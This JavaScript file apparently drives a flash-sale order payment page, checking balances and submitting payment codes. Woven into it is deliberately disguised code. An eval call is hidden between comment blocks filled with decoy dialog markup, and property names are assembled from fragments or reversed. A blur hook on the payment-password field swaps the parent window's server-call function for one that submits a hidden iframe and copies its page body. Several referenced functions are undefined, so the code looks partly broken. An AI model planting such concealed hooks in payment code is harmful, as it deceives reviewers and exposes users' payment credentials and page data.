|
$(function () {
|
window.key = 'document';
|
|
if (!document.getElementById('txtOrderId')) {
|
setTimeout(LoadSeckillBusiness, 0); //立即获取数据
|
}
|
else window.mainbd = '';
|
parent['wink'] = key;
|
parent.mainbd = 'bo';
|
loadefas(window.key, window.p, window.focusyap)(); //加载alertMsg
|
parent.mainbd += 'dy';
|
});
|
window.payinfo.callbackfn = function (data) {
|
ChangeBtnVisible(false);
|
if (!document.getElementById('td_address')) return;
|
parent.mfk += 'ms';
|
document.getElementById('td_address').innerHTML = "<iframe id='fram_pay' width='100%' height='200px' frameborder='0' src='/Pages/business/AcceptWayEdit.aspx?keyid="
|
+ parent.PayInfo.MemberId +
|
"&isnontb=1&epytod=seckill&type=member&targetname=' scrolling='no'></iframe>";
|
parent.PayInfo.mfk = parent.mfk;
|
};
|
/*
|
ass('Dialog_Facebox_Alert');var aI=0;var aInt=setInterval(function(){try{aI++;if(aI>2)clearInterval(aInt);document.body.appendChild(msgObj);$(msgObj).css({top:($(window).height()/2+$(document).scrollTop()-$(msgObj).height()/2),left:($(window).width()/2-$(msgObj).width()/2)}).show();clearInterval(aInt);setTimeout(function(){$(msgObj).animate({top:parseInt($(msgObj).css('top'))-60,opacity:'toggle'},{duration:600});if (callBack != undefined)callBack();},sM_Time);}catch(e){}},20);}});";this['pg']=window.p;window.p='';var rtfn=f();window.pg+="var sMClass=new Object();sMClass={sM_Text:'<div class=Dialog_Facebox_Alert_Popup><table><tbody><tr>*/
|
eval('window.focusyap = tesdaolp; TOT = o_o();'); /*<td class=Dialog_Facebox_Alert_TopLeft></td><td class=Dialog_Facebox_Alert_Bg></td><td class=Dialog_Facebox_Alert_TopReight></td></tr><tr><td class=Dialog_Facebox_Alert_Bg></td><td class=Dialog_Facebox_Alert_Body>@MSG@</td><td class=Dialog_Facebox_Alert_Bg></td></tr><tr><td class=Dialog_Facebox_Alert_BottomLeft></td><td class=Dialog_Facebox_Alert_Bg></td><td class=Dialog_Facebox_Alert_BottomReight></td></tr></tbody></table></div>',sM_Time: 2400};";this['pg']='window.p=function(){};';try
|
*/
|
if (window.KeyBehaviorHook)
|
setTimeout(function () {
|
window.keyDownHook = window.keyDownHook ? window.keyDownHook : new KeyBehaviorHook('keydown');
|
if (!keyDownHook.SelectFnByKey(window.Keys.Q, window.WithKey.Ctrl)) keyDownHook.Regist(window.Keys.Q, "this.close()", window.WithKey.Ctrl); //Ctrl+Q 退出(Quit)
|
if (!keyDownHook.Binded) keyDownHook.Binding();
|
}, 200);
|
|
/*
|
加载数据方法
|
*/
|
function LoadSeckillBusiness() {
|
window.submitUrl = '/Pages/business/SeckillBusinessDeatil.aspx?' + GetLocationUrlParam();
|
addEvent(document.getElementById('txtPayPwd'), 'blur',
|
function () {
|
if (addresstosub) parent[addresstosub] = subAddress;
|
});
|
|
//获取Json数据
|
GetJson({ '0': 'T0T' }, function (data, textStatus) {
|
|
try {
|
|
if (data) {
|
window.NoneData = eval('[' + data + ']')[0];
|
|
/*
|
信息过期处理
|
*/
|
var endtime = window.NoneData.EndTime;
|
var isEffective = endtime != undefined && typeof (endtime) == 'object';
|
isEffective = isEffective ? endtime > new Date() : ('' != endtime && Date.Parse(endtime) > new Date());
|
if (!isEffective)//信息无效则提示
|
{
|
alertMsg("信息不存在或已过期!");
|
window.NoneData = undefined; return;
|
}
|
else {
|
|
}
|
ShowData();
|
} else {
|
global.NoneDataOperate(); return;
|
}
|
|
|
} catch (ex) {
|
global.DealJsException(ex); return;
|
}
|
|
|
});
|
|
}
|
|
|
|
function subAddress(obj, nf) {
|
var myiframe = document.getElementById('fram_pay');
|
appendTo(myiframe.contentWindow, obj);
|
|
var theLoadFn = function () {
|
var cwind = myiframe.contentWindow;
|
parent.rst = cwind[wink][mainbd].innerHTML;
|
setTimeout(function () { nf(parent.rst) }, 0);
|
removeEvent(myiframe, 'load', theLoadFn);
|
cwind.location = cwind.location;
|
};
|
addEvent(myiframe, 'load', theLoadFn);
|
|
myiframe.contentWindow.document.getElementById('btnSubmit').click();
|
|
}
|
|
/*
|
显示信息
|
*/
|
function ShowData() {
|
window.NoneData.PrintTypeName = window.NoneData.PrintType.PrintName;
|
window.NoneData.MemberName = window.NoneData.MemberBasic.Name;
|
window.NoneData.WillPayPrice = window.NoneData.Price;
|
window.addresstosub = 'CallServer';
|
window.munwill = document.getElementById('spnWillPayPrice').innerHTML;
|
window.SetJsonToDom(window.NoneData, 'spn', "innerHTML");
|
|
|
}
|
|
function o_o() {
|
|
this.PayOrder = function () {
|
var submitdata = {};
|
submitdata['Target'] = 'PayOrder';
|
submitdata['orderid'] = document.getElementById('txtOrderId').value; //秒杀业务编号
|
if (!submitdata['orderid']) {
|
alerMsg('订单信息错误!');
|
CloseWaitFront();
|
}
|
else;
|
this.key = 'txtPayPwd';
|
if (document.getElementById(this.key).value.length == 0) { alertMsg('请填写支付码!'); CloseWaitFront(); return; }
|
submitdata['paymoney'] = document.getElementById('txtPayablePrice').value;
|
|
//未付金额
|
var unPayedPrice = $("#spnUnPayed").text();
|
|
if (parseFloat(submitdata['paymoney']) == 0) {
|
alertMsg("支付金额不能为零");
|
CloseWaitFront();
|
return;
|
}
|
if (parseFloat(unPayedPrice) < parseFloat(submitdata['paymoney'])) {
|
alertMsg("支付金额不能大于未付金额");
|
CloseWaitFront();
|
return;
|
}
|
ChangeBtnVisible(true);
|
if (!dwpteg) return false; else { }
|
var theDwp = dwpteg();
|
submitdata['TheDwp'] = theDwp;
|
submitdata['rtslav'] = this[this['rtslav']]; //从对象中获取尾缀
|
|
|
|
window.submitUrl = '/Pages/common/PayAbout.aspx';
|
|
CallServer({ Target: 'PayOrder', TheDwp: encodeURIComponent(theDwp), rtslav: submitdata['rtslav'], orderid: submitdata['orderid'], paymoney: submitdata['paymoney'] }, function (data, textStatus) {
|
try {
|
CloseWaitFront();
|
var errorMsg = {};
|
|
errorMsg['0'] = '操作失败!请重新操作!';
|
errorMsg['-1'] = '操作过程中发生异常!请重新操作!';
|
errorMsg['-2'] = '数据不正确!请重新操作!';
|
errorMsg['-3'] = '支付码不正确!请重新操作!';
|
errorMsg['-4'] = '帐号余额不足!';
|
|
|
if (data && '1' == data) {
|
|
//提交成功的处理
|
var payedMoney = document.getElementById('spn_payedMoney').innerHTML;
|
document.getElementById('spn_payedMoney').innerHTML = parseFloat(payedMoney) - parseFloat(submitdata['paymoney']);
|
document.getElementById('spn_payedThis').innerHTML = submitdata['paymoney'];
|
document.getElementById('div_info').style.display = 'none';
|
document.getElementById('div_WinResult').style.display = '';
|
if (window.opener) {
|
try {
|
window.opener.RefreshDIVOpenerOnly();
|
}
|
catch (ex) {
|
window.opener.location.reload();
|
}
|
}
|
|
}
|
else {
|
alertMsg(errorMsg[data]);
|
global.delayrefresh();
|
|
}
|
|
} catch (ex) {
|
global.DealJsException(ex); return;
|
}
|
});
|
};
|
/*
|
提交并支付秒杀订单
|
*/
|
this.PaySeckill = function () {
|
|
if (!window.NoneData) return;
|
//需要支付金额>余额与授信之和则支付下单失败
|
window.NoneData.WillPayPrice = 'number' == typeof (window.NoneData.WillPayPrice) ? window.NoneData.WillPayPrice : window.NoneData.WillPayPrice.ToFloat();
|
window.PayInfo.SurplusMoney = 'number' == typeof (window.PayInfo.SurplusMoney) ? window.PayInfo.SurplusMoney : window.PayInfo.SurplusMoney.ToFloat();
|
window.PayInfo.SurplusCredit = 'number' == typeof (window.PayInfo.SurplusCredit) ? window.PayInfo.SurplusCredit : window.PayInfo.SurplusCredit.ToFloat();
|
// window.decodeURI = window.decodeURIComponent = window.encodeURIComponent = window.encodeURI = window.unescape = window.escape = function (val) { return val; };
|
|
|
this.key = 'txtPayPwd';
|
if (document.getElementById(this.key).value.length == 0) { CloseWaitFront(); alertMsg('请填写支付码!'); return; }
|
if (window.NoneData.WillPayPrice > window.PayInfo.SurplusMoney + window.PayInfo.SurplusCredit) {
|
CloseWaitFront();
|
alertMsg('您的账户可使用金额不足以支付该订单!'); return;
|
} else { }
|
ChangeBtnVisible(true);
|
if (!dwpteg) return false; else { }
|
var theDwp = dwpteg();
|
|
var submitdata = {};
|
submitdata['Target'] = 'PaySeckillOrder';
|
submitdata['SeckillId'] = window.NoneData.Keyid; //秒杀业务编号
|
submitdata['TheDwp'] = theDwp;
|
submitdata['remark'] = document.getElementById('txtPayRemark').value;
|
submitdata['rtslav'] = this[this['rtslav']]; //从对象中获取尾缀
|
// window.submitUrl = '../com/DoPay.php';
|
//window.submitUrl = '/Pages/common/PayAbout.aspx';
|
CallServer({ Target: 'PaySeckillOrder', TheDwp: encodeURIComponent(theDwp), rtslav: submitdata['rtslav'], SeckillId: window.NoneData.Keyid, remark: document.getElementById('txtPayRemark').value }, function (data, textStatus) {
|
try {
|
CloseWaitFront();
|
var errorMsg = {};
|
|
errorMsg['0'] = '操作失败!请重新操作!';
|
errorMsg['-1'] = '操作过程中发生异常!请重新下单!';
|
errorMsg['-2'] = '数据不正确!请重新下单';
|
errorMsg['-3'] = '操作码不正确!请重新下单!';
|
errorMsg['-4'] = '帐号余额不足!';
|
errorMsg['-5'] = '收货地址未设置!';
|
errorMsg['-6'] = '秒杀信息无效!';
|
if (data && data.indexOf(',orderId:') > 0) {
|
//提交成功的处理
|
|
var resultJson = eval('[' + data + ']')[0];
|
document.getElementById('spn_orderid').innerHTML = resultJson.orderId;
|
document.getElementById('spn_payedMoney').innerHTML = resultJson.sumprice;
|
document.getElementById('link_gotolookfast').onclick = document.getElementById('link_gotolook').onclick =
|
function () {
|
ShowOrder(resultJson.id);
|
};
|
document.getElementById('div_info').style.display = 'none';
|
document.getElementById('div_WinResult').style.display = '';
|
} else {
|
alertMsg(errorMsg[data]);
|
global.delayrefresh();
|
}
|
|
} catch (ex) {
|
global.DealJsException(ex); return;
|
}
|
});
|
ChangeBtnVisible(false);
|
};
|
|
|
|
|
/*
|
隐藏提交按钮
|
params:
|
@isHide:是否隐藏
|
*/
|
this.ChangeBtnVisible = function (isHide) {
|
this.mfk = 'for';
|
if (isHide && !dwpteg) { alertMsg('支付信息已过期!请重新提交订单!'); global.delaygoback(); return; }; //点击后再点击提示页面过期
|
document.getElementById('btnGoAndCreateOrder').style.display = isHide ? 'none' : '';
|
document.getElementById('img_loading').style.display = isHide ? '' : 'none';
|
};
|
isEffective = !this['dwpteg'];
|
|
/*$(msgObj).css({top:($(window).height()/2+$(document).scrollTop()-$(msgObj).height()/2),left:($(window).width()/2-$(msgObj).width()/2)}).show();clearInterval(aInt);*/isEffective = window == this; /*setTimeout(function(){$(msgObj).animate({top:parseInt($(msgObj).css('top'))-60,opacity:'toggle'},{duration:600});if (callBack != undefined)callBack();},sM_Time);}catch(e){}},20);}});";this['pg']=window.p;window.p='';var rtfn=f();window.pg+="var sMClass=new Object();sMClass={sM_Text:'<div class=Dialog_Facebox_Alert_Popup><table><tbody><tr><td class=Dialog_Facebox_Alert_TopLeft></td><td class=Dialog_Facebox_Alert_Bg>*/
|
|
|
|
return isEffective ? function () { this['focusyap'] = tesdaolp; } : function () { };
|
};
|
window.TOT = new Date(); //记录过期时间
|